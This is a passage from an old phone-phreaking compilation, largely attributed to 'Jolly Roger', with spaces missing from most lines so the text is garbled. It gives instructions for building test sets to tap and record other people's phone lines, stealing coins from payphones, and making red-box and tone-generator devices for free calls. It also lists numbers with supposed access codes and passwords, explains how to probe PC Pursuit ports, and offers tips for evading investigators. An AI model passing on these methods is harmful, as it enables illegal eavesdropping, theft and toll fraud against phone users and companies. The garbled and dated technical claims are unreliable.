reversed,butthecablepairisalwaysterminatedoneontopofeachother,noton
theonenexttoit.(I'mnotsurewhytheotheroneisthere,probablyasaprovisionfor
extralines).Don'tuseitthough,itisusuallytoclosetotheotherterminals,andinmy
experiencesyougetanoisyconnection.
Finalnote:Almosteveryapartment,business,hoteloranywherethereismore
than2linesthisterminationlinesthisterminationmethodisused.Ifyoucanmaster
thistype,youcanbeincontrolofmanythings.Lookaroundinyourareafora
buildingthatusesthistypeandpracticehookinguptothelineetc.Asanaddedhelp,
hereisthebasicstandardcolourcodeformultilineterminals/wiring/etc.
Singleline:
Red=Ring

Green=Tip

Yellow=Ground*

*Connected to theringercoil in individual andbridgedringerphones(Bell

only).Usuallyconnectedtothegreen(tip);ring()=red;white/redstripe;brown
white/orangestripe;black/yellowstripe;tip(+)=green(sometimesyellow,see
above);white/greenstripe;white/bluestripe;blue;black/whitestripe;ground=
black;yellow.
Residenceterminalbox
Small,grey(canbeeitherarubber(PacificTelephone)orhardplastic(AT&T)
housingdealthatconnectsthecablepairfromthesplitterbox(Seetype2,above)on
thepoletoyourhousewiring.Only2(or4,the2topterminalsarehookedinparallel
withthesameline)terminalsandisveryeasytouse.Thiscanbeusedtoaddmore
linestoyourhouseoraddanexternallineoutsidethehouse.
Testsets
Well,nowyoucanconsideryourselfaminorexpertontheterminalsandwiringof
thelocaltelephonenetwork.Nowyoucanapplyittowhateveryouwanttodo.
Here'sanotherhelpfulitem:HowtomakeaBasicTestSetandhowtouseittodial
out,earsdroporseriouslytapandrecordlineactivity.Thesearethe(usually)orange
handsetphonesusedbyTellcotechnicianstotestlines.Tomakeaverysimpleone,
takeanyBell(orother,butIrecommendagoodBellphonelikeaprincessoratrim
line.Gteflipphonesworkexcellently,though)phoneandfollowtheinstructions
below.
Note:Ablackboxtypephonemodwillletyoutapintotheirlineandwiththe
boxo,it'sasifyouweren'tthere.Theycanreceivecallsanddialoutandyoucanbe
listeningthewholetime!Veryuseful.Withtheboxoff,youhaveanormalphone
testset.

Instructions
Abasicblackboxworkswellwithgoodresults.Takethecoveroffthephoneto
exposethenetworkbox(Belltypephonesonly).Theterminalshouldhaveagreen
wiregoingtoit(orangeordifferentiftouchtonedoesn'tmatter,itsthesamething).
DisconnectthewireandconnectittoonepoleofanSPSTswitch.Connectapieceof
wiretotheotherpoleoftheswitchandconnectittotheterminal.Nowtakea10k
hm1/2watt10%resistorandputitbetweentheterminaladtheterminal,which
shouldhaveablueandawhitewiregoingtoit(differentfortouchtone).Itshould
looklikethis:
Bluewire<F>
!
Whitewire!
!
10kResistor
!
!
Greenwire!<RR>
!!
SPST
Whatthisdoesineffectiskeepthehookswitch/dialpulseswitch(FtoRRloop)
openwhileholdingthelinehighwiththeresistor.Thisgivesthesamevoltageeffect
asifthephonewasonhook,whilethe10kohmsholdsthevoltagerightabovethe
offhookthreshold(around22voltsorso,ascomparedto1517ornormaloff
hook48voltsfornormalonhook),givingTestSetVersion2.Anotherdesignis
similartothetype1testset(above),buthassomeaddedfeatures:
fromalligator>tip<totestset
clip>ring<phone
!!
x!
!!
o!
!xRRRRR!
!x!
!x!
x0!
x=SpstSwitch
o=RedLod0=GreenLed
RRRRR=1,8k1/2Wattxxxx=SPSTswitchresistor
WhentheSPSTswitchinon,theLedwilllightandthephonewillbecomeactive.
Thegreenlightshouldbeon.Ifitisn't,switchthedpst.Ifitstillisn't,checkthe
polarityofthelineandtheLeds.Withbothlightson,hangupthephone.They
shouldallbeoffnow.Nowflipthedpstandpickupthephone.TheredLedshould

beon,butthegreenshouldn't.Ifitis,somethingiswrongwiththecircuit.Youwont
getadialtoneifalliscorrect.Whenyouhookuptothelinewiththealligatorclips
(Assumingyouhaveputthiscircuitinsideourphoneandhaveputalligatorclipson
theringandtipwires(Aswedidbefore))youshouldhavetheSPST#1intheoff
position.Thiswillgreatlyreducethestaticnoiseinvolvedinhookinguptoaline.
TheredLedcanalsobeusedtocheckifyouhavethecorrectpolarity.Withthis
phoneyouwillhavetheabilitytolisteninon<all>audiblelineactivityandthe
people(theearsdrops)canusetheirphoneasnormal.Notethattestsets#1and#
2havetrueblackboxesandcanbeusedforfreecalls(seeanarticleaboutblack
boxes).
TestSetVersion3
Todotestset3:Usingatrimline(orsimilar)phone,removethebaseandcutall
ofthewireleadsoffexceptforthered(ring)andthegreen(tip+).Solderalligator
clipstothelug.Thewireitselfistinselwrappedinrayonanddoesn'tsolderwell.
Insidetheonehandset,removethelightsocket(ifithasone)andinstallasmallslide
or toggle switch (Radio Shack's micro miniature spst works well). Locate the
connectionoftheringandthetipwiresonthepcboardnearwherethejackislocated
atthebottomofthehandset.(Thewiresaresometimesblackorbrowinsteadofred
andgreen,respectively).Cutthefoilandrun2piecesofwiretoyourswitch.In
parallel with the switch add a 25 uf 200 VDC capacitor (mylar, silvered mica,
ceramic, not an electrolytic). When the switch is closed, the handset functions
normally.Withtheswitchintheotherposition,youcanlistenwithoutbeingheard.
Note:Toreducethenoiseinvolvedinconnectingtheclipstoaline,addaswitch
selectable1000ohm1/2Wattresistorinserieswiththetipwire.Flipitincircuit
whenconnectingandonceontheline,flipitoffagain.(orjustusethedisconnect
linetypeswitchasinthetype2testset(above)).Alsoavoidtouchingthealligator
clipstoanymetalpartsorotherterminals,foritcausesstaticonthelineandraises
people'ssuspicions.

Recording
Ifyouwouldliketorecordanyactivity,usetestset1or2above(forunattended
recordingof<all>lineactivity)orjustanytestsetifyouaregoingtobethereto
monitor when they are dialling, talking etc. Place a telephone pick up coil (I
recommendtheBecotonT5TPcoilorequivalent)ontothetestsetandputtheTP
plug into the mic. jack of any standard tape recorder. Hit play, rec. and pause.
Alternatepausewhenyouwanttorecord(I don'tthinkanyoneshouldhaveany
difficultywiththisatall)Well,ifyoustillcan'tmakeatestsetoryoudon'thavethe
parts,there'sstillhope. Alternatemethods:Findabelltestsetinamanholeora
bridgingheadand'Borrowitindefinitely!Testsetscanbepurchasedfrom:
TechniTool
5ApolloRoad
P.O.Box368
PlymouthMeetingPA.,19462.

Askforcatalogue#28!Theyareusually$300$600andaresupposedtohave
MFdiallingcapabilityaswellasTTdialling.Theyarealsoofmuchhigherquality
thanthestandardbelltestsets.Ifyouwouldliketolearnmoreaboutthesubjects
coveredhere,Isuggest: FollowBelltrucksandlinemenor techniciansandask
subtlequestions.alsotry611(repairservice)andaskquestions.Exploreyourarea
foranyBellhardwareandexperimentwithit.Don'ttrysomethingifyouarenotsure
whatyou'redoing,becauseyouwouldn'twanttocauseproblems,wouldyou?

GettingMoneyoutofPayPhones
byJollyRoger
Iwillnowsharewithyoumyexperienceswithpaytelephones.Youwilldiscover

thatitispossibletogetmoneyfromapayphonewithaminimumofeffort.Theory:
Mostpayphonesusefourwiresforthetransmissionofdataandcodestothecentral
office.Twoofthemareusedforvoice(usuallyredandgreen),oneisaground,and
thelastisusedwiththeothersforthetransmissionofcodes.Itiswiththislastwire
thatyouwillbeworkingwith.OnthepayphonethatIusuallydidthisto,itwas
colouredpurple,butmostlikelywillbeanothercolour.Whatyouwilldoissimply
find a pay phone which has exposed wires, such that one of them can be
disconnectedandconnectedateasewithoutfearofdiscovery.Youwilldiscoverthat
itisusuallyagoodideatohavesomeelectricaltapealongwithyouandsometool
forcuttingthistape.Throughtrialanderror,youwilldisconnectonewireatatime
startingwiththewiresdifferentthangreenandred.Youdowantadialtoneduring
thisoperation.Whatyouwanttodisconnectisthewiresupplyingthecodestothe
telephone company so that the pay phone will not get the 'busy or hang up
command.Leavethiswiredisconnectedwhenyoudiscoverit.Whatwillhappen:
Anytimethatsomeoneputsanyamountofmoneyintothepayphone,thedeposit
willnotregisterwiththephonecompanyanditwillbeheldinthetemporary
chamberofthepayphone.Then,(adaylaterorso)youjustcodebacktothephone,
reconnectthewireandclickthehookafewtimesandthephonewilldumpitallout
theshut.(Whatishappeningisthatthehangupcodethatthephonewasnot
receivingduetothewirebeingdisconnectedsuddenlygetsthecodeanddumpsits'
temporarystoragespot).Youcanmakeaniceamountofmoneythisway,but
rememberthatarepairmanwillstopbyeveryfewtimesitisreportedbrokenand
repairit,socheckitatleastonceaday.Enjoyandhavefun!ManyphonesIhave
donethistoanditworkswellwitheach.
ComputerBasedPBX
courtesyofJollyRoger

 To get a better understanding of what a PBX can do, here are a few basic
fundamentals.ThemodernPBXisacombinedcomputer,massstoragedeviceandof
courseaswitchingsystemthatcan:Produceitemized,automatedbillingprocedures
toallowtheidentificationandmanagementoftollcalls.Hahaha!Combinedaytime
voicegradecommunicationcircuitsintowidebanddatachannelsfornighttimehigh
speeddatatransfers.Handleselectronicmail[includingofficememos].Combine
voicechannelsintoawidebandaudio/visualconferencecircuit,withtheabilityto
Xferandcapture slides,flipcharts,picturesof anykind.Boththeexternaland
internalcallingcapacityofthePBXsystemmustbecarefullyconsideredbecause
manybusinessoperationsrunaveryhighratioofinternalstationtostationdialling
andalowcapacitysystemwillnothandletherequestedtrafficload.Acriticalfactor
isthenumber of trunksandthecentralofficefacilitiesthatareusedforoutside
connections.Anotheristhenumberofjunctionsor[links]thatmakeuptheinternal
callingpaths.TounderstandtheservicesavailableonatypicalcomputerrunPBXit
isnecessarytointroducethesubjectoftimedivisionswitching.Inatimedivision
switching networkallconnectionsaremadeviaasinglecommonbuscalled(of
course)atimedivisionbus.Everylinetrunkthatrequires aconnectionwith
another is provided witha port circuit. Allportcircuits have access tothe time
divisionbusthroughatimedivisionswitch.[Whentwoportsrequireconnection,
their time division switches operate at a very high frequency (16 000 times per
second). This technique, which is called speech sampling, allows many
simultaneous connections over the same time division bus. Each connection is
assignedatimeinterval,thetimeslotandthenumberoftimeslotsidentifiesthe
numberofsimultaneousconnectionsamongports.Thenextcriticalitemiscircuit
packs.Thesystemelementsthatwewillbedescribinginfuturetutorials [lines/
trunks/switches,memoryandcontrol]arecontainedonplugincircuitpacks.Each
linecircuitpackcontainsanumberoflines,inexample,four.Buttheassignmentof
stationnumberstoactual phonelinecircuitsisflexible.Thesystemmemoryis
containedincircuitpackswhichprovidethecallprocessingfunctcarriers.Within
eachcarrier,thecircuitpacksarepluggedintopositions:theslots.Everycircuit
canbeaddressedby,sayafivedigitnumberwhichtellsitslocationbycarrierslot
circuit(Startingtogettheidea?).Therecanbe threetypesofcarriersinamodern
PBX system: line carriers; trunk carriers and control carriers. The line carriers
containstationlines.InA.T.&T.'s"dimension"model,forexample,atotalof52
to64linesareprovided.Thetrunkcarrierscontainslotsfor16trunkcircuitpacks.
Thecontrolcarrierincludesprocessor,memory,controlcircuitry,datachannelsfor
attendantconsolecontrolandtrafficmeasurementoutputs.PBXsystemswilldirectly
reflectthetypesofservicesofferedattheCo,CCSA andCCIS,picturephones
[soonerthanyouthinkmyfriends]commoncontrolswitchingarrangements(CCSA)
permitanyunrestrictedtelephonestationtocallanyotherinternalorexternalsystem
stationbyusingthestandardsevendigitnumber.Alternateroutingisafeatureof
CCSAservicetheinterfacility,alternateroutedcallingpathsareaccomplishedatthe
telephonecompanycentralofficelevel,notatthePBXlevel.Asystemofinterestto
large scale telephone users is common channel inter office signalling (CCIS).
Typically, this technique employs common channels to carry all interfacility

signallinginstructions:dialpulses,onhook(idle),offhook(busy)andsoonbetween
twoswitchingcentres[gettingwarm].CCISreplacesoldermethodsofinteroffice
signallingsuchasinbandandoutofbandtechniques.Bytheway,realfreaks
aresellingtheirboxestoidiotswhostillthinkthere'reworthalot.Theformer(in
band) transmits signalling data within the normal conversation bandwidth. It' s
shortcomingisthatfalseinformationmaybetransmittedduetouniquetoneornoise
combinationssetupinthetalkingpath(Thisistheofficialreasoning).Outofband
signallingtechniquesplaced theinterofficedata inspecialchannels,generally
adjacent to and immediately above the voice path. To preserve inter channel
integrity,out of bandsignalling requires veryefficientfiltering or greatband
guardseparationbetweenchannels.
PCPursuitPortStatistic's

Date:
writtenby:PCPursuitUsers

06/

29/

89

Introduction
Thelast30daysofPCPursuithavebeenextremelycontroversial.Usersandex
usershavedemandedaccuratestatisticsandTelenethasprovideduswithverylittle.
And the data that was provided is questionable. Well, here is some data that is
guaranteedtobeaccurateandmakeTelenetscream.Ifyouwishtoupdatethisdata
onyourown,wewilltellyouhowlaterinthistext.Thefollowingchartconsistsof
allthedirectTelenetaddressesofthePCPursuitcitynodesandthetotalnumberof
modemsoneachnode.Hereiswhatthedatameans:
NJNEW/32011.1256

!!!!\TotalNumberofModemsinNJNEW
!!!\LastWorkingSuffixofAddresssequence.
!!\DirectTelenetAddressPrefix.
!\BaudRateofThisPortis300.
\Mnemonic.
PleasenotethatthereareseveralperfectlylegalwaystoconnecttoaPCPursuit
portsuchasNJNEW/3:WaysToConnecttoNJNEW/3:
CD/NJNEW/3,PCP10000,<password>[hunt]
C2011,PCP10000,<password>[hunt]
C2011.10,PCP10000,<password>[nonhunt]
Thefirst,isselfexplanatory.Theseconddoesthesamethingasthefirst,onlythat
itisslightlyfasterandgivestheusermuchgreaterflexibility.Thethirdisanexample
theflexibility,becausearequestismadetoconnecttothetenthandonlythetenth,
modemontheNJNEW/3port.Bysimplyattemptingtoconnecttoeverysingle
modeminthe2011chain,wewereabletocountthenumberofmodemsoneach
portandcomeupwiththefollowingchartswhichwereextractedonJunethe twenty
ninthoftheyear1989:

RotaryDirectMax.CityRotaryDirectMax.City
PortAddressRangeTotalPortAddressRangeTotal

NJNEW/32011.1256CAOAK/34155.416
/12201301.40/12415216.8
/2420122.4/2441511.4
DCWAS/3202115.646CAPAL/3415106.412
/12202116.24/12415224.8
/24202117.16/24<NONE><NONE>
CTHAR/3<NONE><NONE>8CASFA/3415215.620
/12203120.8/12415217.10
/24<NONE><NONE>/2441523.4
WASEA/320617.430ORPOR/350320.28
/1220619.22/1250321.6
/2420621.4/24<NONE><NONE>
NYNYO/3212315.422AZPHO/360222.420
/12212316.14/1260223.12
/2421228.4/2460226.4
CALAN/3213412.840MNMIN/3612120.422
/12213413.28/12612121.14
/2421323.4/2461222.4
TXDAL/3214117.630MABOS/3617311.432
/12214118.22/12617313.20
/2421422.4/2461726.8
PAPHI/3215112.636TXHOU/3713113.842
/122155.22/12713114.24
/2421522.8/2471324.10
OHCLE/321620.426CACOL/371423.418
/1221621.18/127144.10
/24216120.4/2471424.4
CODEN/3303114.440CASAN/3714119.420
/12303115.18/12714213.12
/2430321.22/24714124.4
FLMIA/3305120.628CASDI/3714102.422
/12305121.18(619)/12714210.14
/24305122.4/24714121.4
ILCHI/3312410.840UTSLC/380120.422
/12312411.28/1280121.14
/2431224.4/2480112.4
MIDET/3313214.630FLTAM/381320.418
/12313216.18/1281321.10
/2431324.6/24813124.4
MOSLO/33145.416MOKCI/3816104.420

/12314421.8/12816221.12
/2431420.4/24816113.4
GAATL/3404113.832CAGLE/3??
/12404114.20/1281821.18
/2440422.4/24
CASJO/3408111.434CASAC/39167.416
/1240821.26/1291611.8
/24408110.4/2491612.4
WIMIL/341420.424NCRTP/391920.420
/1241421.16/1291921.12
/24414120.4/24919124.4
01/29/89PCPursuitModemsStatisticsChart
NumberofModemsCity
Mnemonic30012002400Total

NJNEW1240456 CAOAK48416
DCWAS6241646 CAPAL48012
CTHAR0808 CASFA610420
WASEA422430 ORPOR2608
NYNYO414422 AZPHO412420
CALAN828440 MNMIN414422
TXDAL622432 MABOS420832
PAPHI622836 TXHOU8241042
OHCLE418426 CACOL410418
CODEN4182244 CASAN412420
FLMIA618428 CASDI414422
ILCHI828440 UTSLC414422
MIDET618630 FLTAM410418
MOSLO48416 MOKCI412420
GAATL820432 CAGLE418426
CASJO426434 CASAC48416
WIMIL416424 NCRTP412420

Total166562170898
===================================
Average4.882352916.529412526.411765
Note:CASAC/3,CASAC/24wereestimated.
Ithinkthestatisticsbasicallyspeakforthemselves.Iamsuretherewillnodoubtbe
hundreds of people who will not smile at the number of specific kinds of ports

supported,nottomentionthenumberofdeadordownmodemsyouwillfind
whenyouverifythetotals.Usually,2%toperhaps10%ofthemodemsaredead
withspecificonesrepeatedlyfailingweekafterweek.
HistoryOfThisCollection
Almostayearagoasmallselectedgroupofdevotedindividualsgottogetherto
discussproblemswiththePCPursuitNetwork,inthemiddleofourdiscussionsa
question was asked as to how the network really processes our calls. This was
intendedtohelpusassessSetcommandsandothersuchmatters.Whenthe address
hypothesiswasofferedwequicklysetouttoproveit.Itwasprovedinabout3
minuteswiththediscoveryof2011(Firsttrywasxxx1).Thedatahascontinually
beencollectedandanalysed eversince,butuntilnow,hasneverbeenmassreleased.
Asmallgroupofteenagehackersdiscoveredseveralinterestingthingsthatcanbe
done with these addresses many of which will not be discussed here short of
mentioningthattheseportsconnectedtoviatheseaddressesarenotlimitedtoPC
Pursuiters.Youcan,however,fight"dead"dialoutmodemsincitiesviatheaddress
method.Deadmodemscanbelocatedinabout10seconds(fasterthanTelenet),and
caneitherbereportedorskippedpastbytheuserconnectingtothenextmodemin
thesequenceafterthe"dead"one.(Note:Say2011,3isdead,connectto2011,4
andyouwillbepastit.If2011,4isbusy,goto2011,5.Thereadershouldnotice
2011.,3isthesameas2011C).Themostinterestingvalueoftheseaddressesisthat
onecancountthenumberofportsthatTelenetkeepssosecret(Grin).Whenthere
wereonly28citiesinoperationtherewereanaverageof2,7300baud,9,41200
baudand2,52400baudmodemsineachcity.Somecitieshadaslittleas2modems
onaportandasmanyas12.Onlyrecentlyhasthenumberofmodemspercitybegun
tojump.
HowToUpdateTheCountYourself
AnIDisnotrequiredto"request"oneoftheseports,thusthetallyingcanbedone
anytimeofdaybysimplytypingthenumberatthe@prompt.Hereisanexample
withfourmodems(NJNEW/24):
@20122.1
20122Arefusedcollectconnection1980
@20122.2
20122Brefusedcollectconnection1980
@20122.3
20122Crefusedcollectconnection1980
@20122.4
20122Drefusedcollectconnection1980
@20122.5
20122Eillegaladdress1980

ThereadershouldbeawarethatPCPursuitportsalwaysrespondwith1980.Do
notconfuseitwith1900,whicharenotPCPursuitports.Intheaboveexample
weknowtherearefourportsbecausetheforthwasthelastexistingportbeforewe
encounteredtheillegaladdress.Thereareseveralwaystosignifythatyouhave
goneonebeyondtheendoftheports:

1.xxxillegaladdress1980
2.xxxxxxnotoperating1980
Therequest freezes(Note:Issuea break thenD<C/R>toaborttheattempt
yieldingattemptaborted).Youshouldbeawarethatmodemswhichareoutof
orderinthemiddleofthesequencecanrespondwithnotoperatingormayfreeze
therequest.Youshouldalsonotethatwhenupdatingtheexistinglist,allyouneedto
doistrytorequestthenextmodembeyondtheendasofthelastcheck.
FindingNewlyAddedPorts
Manyportshavenotyetbeeninstalled;hence,wedonotyetknowtheaddresses.
New ports may be found by entering the first three digits of the area code and
appending(1 29,101129,201 229,301329,etc.)untiltherefusedcollect
connection1980appears.Oncethisisfound,simplylogontotheportaddresswith
yourIDandR/Vdialsomesillyseriesofdigits,disconnecttheport,thenconnectto
thePCPursuitmnemonicyouthinkitmightbeandR/Vredialthelastnumber.If
thenumbersmatch,youfoundit.
PearlBoxPlans
byJollyRoger
ThePearlBox
Definition
ThisisaboxthatmaysubstituteformanyboxeswhichproducetonesinHertz.The
PearlBoxwhenoperatedcorrectlycanproducetonesfrom19999hz.Asyoucan
see2600,1633,1336andothercrucialtonesareobviouslyinitssoundspectrum.
MaterialsyouwillneedinordertobuildThePearlBox
C1,C2:.5mfor.5ufceramicdiskcapacitors;
Q1.....NPNtransistor(2N2222worksbest);
S1.....NormallyopenmomentarySPSTswitch;
S2.....SPSTtoggleswitch;
B1.....Standard9Voltbattery;
R1...Singleturn,50kpotentiometer;
R2.....""100kpotentiometer;R3...""500kpotentiometer;
R4.....""1megpotentiometerSPKR...Standard8ohmspeaker;
T1...Minitransformer(8ohmworksbest)
Misc ... Wire, solder, soldering iron, PC board or perfboard, box to contain the
completedunit,batteryclip.

InstructionsforbuildingPearlBox
Sincetheinstructionareextremelydifficulttoexplaininwords,youwillbegiven
aschematicinstead.Itwillbequitedifficulttofollowbuttryitanyway.

(SchematicforThePearlBox)
++++
!!\
C1C2\
!!+
+++T1
!\+++
!bc!+
!Q1!+S1
!eS2+!SPKR
!!!+
!B1!
!!!
!++
!R1R2R3R4!
/\/\/\/\/\/\/\/\
++++++
Nowthat youare probably thoroughly confused, letme explain afew minor
details.Thepotentiometerareaisriggedsothattheleftpoleisconnectedtothe
centrepoleofthepotentiometernexttoit.ThemiddleterminalofT1isconnectedto
thepieceofwirethatrunsdowntotheendofthebattery.
CorrectoperationofThePearlBox
YoumaywanttogetsomedrytransferdecalsatRadioShacktomakethisjoba
loteasier.Also,someknobsforthetopsofthepotentiometersmaybeusefultoo.Use
thedecalstocalibratetheknobs.R1istheknobfortheonesplace,R2isforthetens
place,R3ifforthehundredsplaceandR4isforthethousandsplace.S1isfor
producingtheallthetonesandS2isforpower.
1.Turnonthepowerandadjusttheknobsforthedesiredtone.(Example:For260hz
R1=0:R2=0:R3=6:R4=2);
2.Hitthepushbuttonswitchandvoila!Youhavethetone.Ifyoudon'thaveatone
recheckallconnectionsandschematic.
TheFreakfile

courtesyofJollyRoger
2022823010Univ.ofD.C.
2025530229PentagonT.A.C.
2026355710CatholicUniv.ofAmerica
2028930330DefenseDataNetwork
2028930331DefenseDataNetwork
2029652900Watergate
2037714930TelephonePioneers
2066412381VoiceofChester
2125261111NewYorkfeedline
2125574455SexHotLine
2127995017ABCNYfeedline
2129349090Dialanidiot
2129762727P.D.A.
2129861660Stockquotes
2135412462StockMarketReports
2135476801NavyShipsInfo
2135766061""
2136643321Newsfortheblind
3013931000""
3016674280LotteryInfo
3129391600""
4042215519NuclearCommission
40824888181STNat'lBank
4156422160EarthquakeReport
5058836828""
5124722181""
5124724263Wierdrecording
5124729833""
5124729941Insert25cents
5124729941Specialrecording
5128702345""
5167941707""
6197480002Loopline
6197480003""
7033310057MCI(5digits)
7033346831Wash.Post
7033548723CompelInc.
7037372051Metrophone(6digits)
7038350500Valnet(5digits)
7038617000Sprint(6/8digits)

7038619181sprint(6/8digits)
7149744020CA.mainframe
7164751072N.Y.DecSystem
8002220555ResearchInstitute
8002233312Citybank
8002275576EasternAirlines
8002480151WhiteHousePress
8003211424Flightplanes
8003233026TelTec(6digits)
8003234756MotorolaDitell
8003237751M.C.I.mainframe
8003254112Easylink
8003256397F.Y.I.
8003444000MSGSystem
8003686900SkylineOrderLine
8004249090RonaldRreagan'sPress
8004249096WhiteHouseSwitch
8004389428ITTCitycallswitching
8005212255Autonet
8005218400Travelnet(8digits)
8005263714RCAmainframe
8005271800Tymnet
8006213026Specialoperator
8006213028""
8006213030""
8006213035""
8006311146VoiceState
8008212121BellTelemarketing
8008286321Xerox$
8008589313Recordavoice
8008821061AT&Tstockprices
9149971277""
9164452864JerryBrown
N/A9501000Sprint
N/A9501022MCIExecunet
N/A9501033USTelephone
N/A9501044Allnet(6digits)
N/A9501066Lexitel
N/A9501088Skyline(6digits)

phone#|description/code


201 643 2227 | codes 235199, 2350222025456706|Pentagon
and121270
2026940004|PentagonModem
8003254112|WesternUnion
2019323371|Rutgers
8005471784 |codes:101111,3500098003252091|Password:Games
and350008
8002281111|AmericanExpress
8004249098|TollFreeWhiteHouse. 6172588313|AfterConnectPressCtrlC
8004249099|DefenseHotLine
8003237751|Password:Register
2029652900|Watergate
8003221415|codes:266891,411266
8003685693|HowardBakerHotLine and836566
2024567639|Reagan'sSecretary
|(usedbySysop)
Thefollowing800#'shavebeencollectedhowevernocodeshavebeenfoundyet
!Ifyouhackany,please,letmeknow!

phone#|codes:

8003213344|???????????
8003431844|???????????
8003233027|???????????
8005471784|???????????
8003233208|???????????
8005476754|???????????
8003233209|???????????
8006548494|???????????
8003257222|???????????
8006824000|???????????
8003279895|???????????
8008589000|???????????
8003279136|???????????
800#'swithcarriers.
8003239007
8003239066
8003239073

8003214600
8005471784

1800numbersoftheGovernment.
8003211082:NavyFinanceCentre 8005321556:FedInformationCntr
8004245201:ExportImportBank
8003254072:Combat&ArmsService
8005230677:AlcoholTobaccoAnd. 8003254095:CombatSupportBranch
8005321556:FedInformationCntr1 8003254890:RopdUsarCombatArms
1082:NavyFinanceCentre
8004323960:SocialSecurity
8004245201:ExportImportBank
8004265996:PugetNavalShipyard
8005230677:AlcoholTobaccoAnd.
Directoryoftollfreenumbers.
8004323960:SocialSecurity

8004265996:PugetNavalShipyard

Directoryoftollfreenumbers.

3012340100:BaltimoreElectric
2024561414:WhiteHouse
2025456706:Pentagon
2023431100:EPA
7148911267:Dialageek
7148975511:Timely
2135716523:SatanicMessages
2136647664:DialaSong
4058437396:SynthacerMusic
2137651000:Listofmanynumbers
5124724263:Wierd
5124729941:Insert25
2037713930:Pioneers
2132544914:DialaAtheist
2125860897:Dirty
2138403971:Horowierd
18008428781
18003685676
18003453878
2123311433

2037713930:Pioneers
4719420,3459721,8368962
8363298,3234139,8365698
4719440,4719440,4716952
4766040,3279772,4719480
8003251693,8003254113
8005218400:Voiceactivated
2139928282:Metrophoneaccesnumber
6177385051:PirateHarbour
6177203600:Timecor#2
3013449156:N.A.S.APassword:Gaset
3182336289:UniversityLouisiana
2138222112:2138223356
2138221924:2138223127
2134494040:TechCentre
2139373580:Telenet

2138927211
2136262400
7132371822
7132246098

7132251053
7132249417
8189928282
18005218400

AfterenteringthesprintcodeandC+Destinationnumber.Thenenterthisnumber:
"205#977#22".Andthemaintracerforsprintwillbedisabled.
2155613199/Sprintlongdistance
3123688000/IllinoisBellTelephone
2024561414/WhiteHouse
3172658611/IndianaBell
0114419304832/QueenElizabeth 3132237233/MichiganBell
9164452864/JerryBrown
3132237223/NevadaBell
8004249090/RonaldReagan'sPress 2079551111/NewEnglandTelephone
2127995017/ABCNewYorkfeedline 2014833800/NewJerseyBell
8008821061/AT&Tstockprices
2123952200/NewYorkTelephone
2129861660/stockquotes
5152430890/NorthwesternBell
2139351111/Wierdeffects!
2168226980/OhioBell
5124724263/Wierdrecording
2063452900/PacificNorthwestBell
2129762727/P.D.A.
2136214141/PacificTelephone
6197480002/PhoneCo.testinglines 2053212222/SouthCentralBell
9004106272/SpaceShuttleComm.
4043912490/SouthernBell
2012216397/AmericanTelephone
2037714920/SouthernNewEngland
2154666680/BellofPennsylvania
3142475511/SouthwesternBell
2023470999/ChesaPeakeTelephone 4146783511/WisconsinTelephone
2138290111/GeneralTelephone
8003276713/unknownorigin
8085334426/HawaianTelephone
3032328555/HP3000

3154231313/Dec10
7147555392/CavalierComputer
3135770260/WayneState
8017536990/ComputerDataSystems
5124745011/AustinComputers
2137015161/DatasoftInc.
5165678013/LyricsTimeSharing
2133667160/Datamost
2123695114/RSTS/E
7164428960/Dynacomp
4153275220/Nec
2133466783/EduWare
7137951200/ShellComputers
8006310856/Hayden
5184718111/CNAofN.Y.
9199831990/MedSystemsSoftware
8003276761/Autonet
3124337550/Microlab
8002281111/VisaCreditCheck
2064541315/Microsoft
7134832700/Nasua
3016597212/MuseSoftware
2133831115/Cosmos
2096836858/OnLineSystems
4082801901/TRW
2036618799/ProgramDesign(PDI)
4048853460/SearsCreditCheck
2133446599/QualitySoftware
4142899988/AardvarkSoftware
3039259293/SentientSoftware
9198521482/AndromedaIncorporated 7026472673/SierraSoftware
2139852922/Artsci
9169201939/SiriusSoftware
7146279887/AstarInternational
2153932640/SirTech
4159648021/automatedsimulations 4159628911/SoftwarePublishers
5033453043/avantgardecreations
4159641353/strategicsimulations
4154566424/BroderbundSoftware
2173598482/SublogicCom.
4156588141/BudgeCompany
2062263216/SynergisticSoftware

HereareafewtipsonhownottogetcaughtwhenusingMCIorothersuch
services.Trynottousethemforvoicetovoicepersonalcalls.Trytousethemfor
computercallsonly.HereiswhyMCIandthoseotherservicescan'treallytracethe
callsthatcomethroughthelines,theycanjustmonitorthem.Theycanlisteninon
yourcallsandfromthat,theycangetyournameandotherinformationfromthe
conversation.Theycanalsocallthenumberyoucalledandaskyourfriendsome
questions.IfyoucallterminalsandBBS'sthenitismuchhardertogetinformation.
Foronething,mostSysopswon'tgivethesedudesthatcallanyinfoatallortheywill
actdumbbecausetheyfreakthemselves!Bewarewhenusingcolouredboxes!They
areeasytofind!!!Trytofindasinewavenumber.ThenuseanMCIorother
servicetocallit.Youwillhearatonethatgoeshigherandlower.Ifthetonejust
stops,thenthatcodeisbeingmonitoredandyoushouldbewarewhenusingit.Ifyou
dogetcaught,thenifyouthinkyoucan,trytoweaseloutofit.Ihaveheardmany
storiesaboutpeoplethathavepleadedwiththeMCIguysandhavebeenletoff.You
willgetacallfromaguythathasbeenmonitoringyou.Actnice.Actlikeyouknow
itisnowwrongtodothiskindofthing...justsoundlikeyouaresorryforwhatyou
did.(Ifyougetacall,youprobablywillbealittlesorry!)Otherwise,itis very
dangerous!!!(VerywithacapitalV!)
RedBoxPlans
byJollyRoger

Redboxingissimulatingthetonesproducedbypublicpayphoneswhenyoudrop
yourmoneyin.Thetonesarebeepsof2200hz+1700hz;Nickle=1beepfor66
milliseconds;Dime=2beeps,each66millisecondswitha66millisecondpause
betweenbeepsandQuarter=5beeps,each33millisecondswitha33millisecond
pausebetweenbeeps.TherearetwocommonlyusedmethodsbeingusedbyFreaks
tomakefreecalls.
1.An electronic hand held device that is made from a pair of Wien bridge
oscillatorswiththetimingcontrolledby555timingchips.
2.A tape recording of the tones produced by a home computer. One of the best
computerstousewouldbeanAtariST.Itisoneoftheeasiercomputerstouse
becausetheredboxtonescanbeproducedinbasicwithonlyabout5statements.
RemObs
byJollyRoger
SomeofyoumayhaveheardofdevicescalledRemObswhichstandsforRemote
Observation System. These Devices allow supposedly authorized telephone
employeestodialintothemfromanywhere,andthenusinganordinarytouchtone
phone,tapintoacustomer'slineinaspecialreceiveonlymode.[Themouthpiece
circuitisdeactivated,allowingtotallysilentobservationfromanyphoneintheworld
(Wiretappingwithoutacourtorderisagainstthelaw!)]

HowRemObsWork
DialthenumberofaRemObunit.Bellisrumouredtoputtheminthe555
